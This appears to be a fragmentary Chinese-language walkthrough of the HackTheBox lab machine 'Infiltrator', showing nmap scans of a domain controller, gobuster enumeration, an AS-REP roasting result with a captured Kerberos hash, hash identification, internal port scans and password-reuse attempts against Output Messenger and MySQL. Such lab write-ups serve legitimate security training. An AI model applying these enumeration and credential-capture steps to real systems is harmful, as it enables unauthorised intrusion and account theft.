PORT STATE SERVICE VERSION 53/tcp open domain Simple DNS Plus 80/tcp open http Microsoft IIS httpd 10.0 | http-methods: | Supported Methods: OPTIONS TRACE GET HEAD POST |_ Potentially risky methods: TRACE |_http-server-header: Microsoft-IIS/10.0 |_http-title: Infiltrator.htb 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-11-14 00:14:19Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: infiltrator.htb0., Site: Default-First-Site-Name) | ssl-cert: Subject: | Subject Alternative Name: DNS:dc01.infiltrator.htb, DNS:infiltrator.htb, DNS:INFILTRATOR | Issuer: commonName=infiltrator-DC01-CA | Public Key type: rsa | Public Key bits: 2048 | Signature Algorithm: sha256WithRSAEncryption | Not valid before: 2024-08-04T18:48:15 | Not valid after: 2099-07-17T18:48:15 | MD5: edac:cc15:9e17:55f8:349b:2018:9d73:486b |_SHA-1: abfd:2798:30ac:7b08:de25:677b:654b:b704:7d01:f071 |_ssl-date: 2024-11-14T00:17:40+00:00; -13m04s from scanner time. 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: infiltrator.htb0., Site: Default-First-Site-Name) |_ssl-date: 2024-11-14T00:17:40+00:00; -13m04s from scanner time. | ssl-cert: Subject: | Subject Alternative Name: DNS:dc01.infiltrator.htb, DNS:infiltrator.htb, DNS:INFILTRATOR | Issuer: commonName=infiltrator-DC01-CA | Public Key type: rsa | Public Key bits: 2048 | Signature Algorithm: sha256WithRSAEncryption | Not valid before: 2024-08-04T18:48:15 | Not valid after: 2099-07-17T18:48:15 | MD5: edac:cc15:9e17:55f8:349b:2018:9d73:486b |_SHA-1: abfd:2798:30ac:7b08:de25:677b:654b:b704:7d01:f071 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: infiltrator.htb0., Site: Default-First-Site-Name) |_ssl-date: 2024-11-14T00:17:40+00:00; -13m04s from scanner time. | ssl-cert: Subject: | Subject Alternative Name: DNS:dc01.infiltrator.htb, DNS:infiltrator.htb, DNS:INFILTRATOR | Issuer: commonName=infiltrator-DC01-CA | Public Key type: rsa | Public Key bits: 2048 | Signature Algorithm: sha256WithRSAEncryption | Not valid before: 2024-08-04T18:48:15 | Not valid after: 2099-07-17T18:48:15 | MD5: edac:cc15:9e17:55f8:349b:2018:9d73:486b |_SHA-1: abfd:2798:30ac:7b08:de25:677b:654b:b704:7d01:f071 3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: infiltrator.htb0., Site: Default-First-Site-Name) | ssl-cert: Subject: | Subject Alternative Name: DNS:dc01.infiltrator.htb, DNS:infiltrator.htb, DNS:INFILTRATOR | Issuer: commonName=infiltrator-DC01-CA | Public Key type: rsa | Public Key bits: 2048 | Signature Algorithm: sha256WithRSAEncryption | Not valid before: 2024-08-04T18:48:15 | Not valid after: 2099-07-17T18:48:15 | MD5: edac:cc15:9e17:55f8:349b:2018:9d73:486b |_SHA-1: abfd:2798:30ac:7b08:de25:677b:654b:b704:7d01:f071 |_ssl-date: 2024-11-14T00:17:40+00:00; -13m04s from scanner time. 3389/tcp open ms-wbt-server Microsoft Terminal Services | ssl-cert: Subject: commonName=dc01.infiltrator.htb | Issuer: commonName=dc01.infiltrator.htb | Public Key type: rsa | Public Key bits: 2048 | Signature Algorithm: sha256WithRSAEncryption | Not valid before: 2024-07-30T13:20:17 | Not valid after: 2025-01-29T13:20:17 | MD5: be1d:a071:bf6d:fff0:20c0:6b23:8e7e:1763 |_SHA-1: cbda:6e22:6ccf:b5e7:534c:b9f0:d9e7:c5d8:dab9:769e |_ssl-date: 2024-11-14T00:17:40+00:00; -13m04s from scanner time. | rdp-ntlm-info: | Target_Name: INFILTRATOR | NetBIOS_Domain_Name: INFILTRATOR | NetBIOS_Computer_Name: DC01 | DNS_Domain_Name: infiltrator.htb | DNS_Computer_Name: dc01.infiltrator.htb | DNS_Tree_Name: infiltrator.htb | Product_Version: 10.0.17763 |_ System_Time: 2024-11-14T00:17:00+00:00 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found 9389/tcp open mc-nmf .NET Message Framing 15220/tcp open unknown 15230/tcp open unknown 49666/tcp open msrpc Microsoft Windows RPC 49690/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 49691/tcp open msrpc Microsoft Windows RPC 49692/tcp open msrpc Microsoft Windows RPC 49723/tcp open msrpc Microsoft Windows RPC 49736/tcp open msrpc Microsoft Windows RPC 49877/tcp open msrpc Microsoft Windows RPC
DNS
这里可以先挂后台跑,如果后面的枚举有新的成果,可以直接中断
1
gobuster dns -w /usr/share/seclists/Discovery/DNS/n0kovo_subdomains.txt -d infiltrator.htb -o log/dns.log -r infiltrator.htb
Web Dir
这里可以先挂后台跑,如果后面的枚举有新的成果,可以直接中断
1
gobuster dir -w /usr/share/seclists/Discovery/Web-Content/combined_directories.txt -o log/web_dir.log -u http://infiltrator.htb/
[-] User D.Anderson doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User O.Martinez doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User K.Turner doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User A.Walker doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User M.Harris doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User E.Rodriguez doesn't have UF_DONT_REQUIRE_PREAUTH set $krb5asrep$23$L.Clark@INFILTRATOR.HTB:59de0be66010a9b1a6d556b9dc40655c$c0a83a0c13c9d3c93845780d212b475ab9dfd03664fc96389a5b4a8a7b72b876309ec91711f79d884f88093518c1fd7c6c392ff1c56cc9b2b6f4b84902023c9fbc1ffb31d19fb65cbefebad093167c7ae1b7939e3b049f0efc404dfd0be057341484c578620f33ba407c998d20897e29bc56ec1c178b07c6bc6132c7b8aa4cc2001b6ccc0e994d78b9427f96c1329a078858eb8300170ad0bf6d5efcce373b3faa17939f71118d1832079db985a6c39904407c5d7e8706798bef1d2b5230a359fdba5303a11367b052af688630da080db393c07064a69fffd715a4c7bbe8533e3b48bfe5c344cb693f0cf79a505f744d8ef3
识别 Hash
1 2 3 4 5
nth -f info/KRB_AS_REP.hash --- ... Kerberos 5 AS-REP etype 23, HC: 18200 JtR: krb5pa-sha1 Summary: Used for Windows Active Directory ...
nmap --min-rate 1000 -T4 -sV -p 14406,14130,14128,14118,14126,14127,14125,14122,14123 127.0.0.1 --- PORT STATE SERVICE VERSION 14118/tcp open ssl/unknown 14122/tcp open unknown 14123/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) 14125/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) 14126/tcp open http Apache httpd 2.4.9 ((Win32) PHP/5.5.12) 14127/tcp open unknown 14128/tcp open unknown 14130/tcp open unknown 14406/tcp open mysql MySQL 5.5.5-10.1.19-MariaDB
先试试 MySQL
这里提示是需要密码的,试一下前面没用上的 MessengerApp@Pass!
还是不对,再看看几个 HTTP 服务,先看 14123 的
前面发现的 K.turner 用户的备注信息就是 OutPut Messenger 的密码。
发现一些聊天记录,但是没啥营养,再看一下另外两个端口
也没什么东西,去搜一下 Output Messenger 相关漏洞
可以看到这个 MYSQL 是加载的这个配置文件 C:\Program Files\Output Messenger Server\Plugins\Output\mysql\my.ini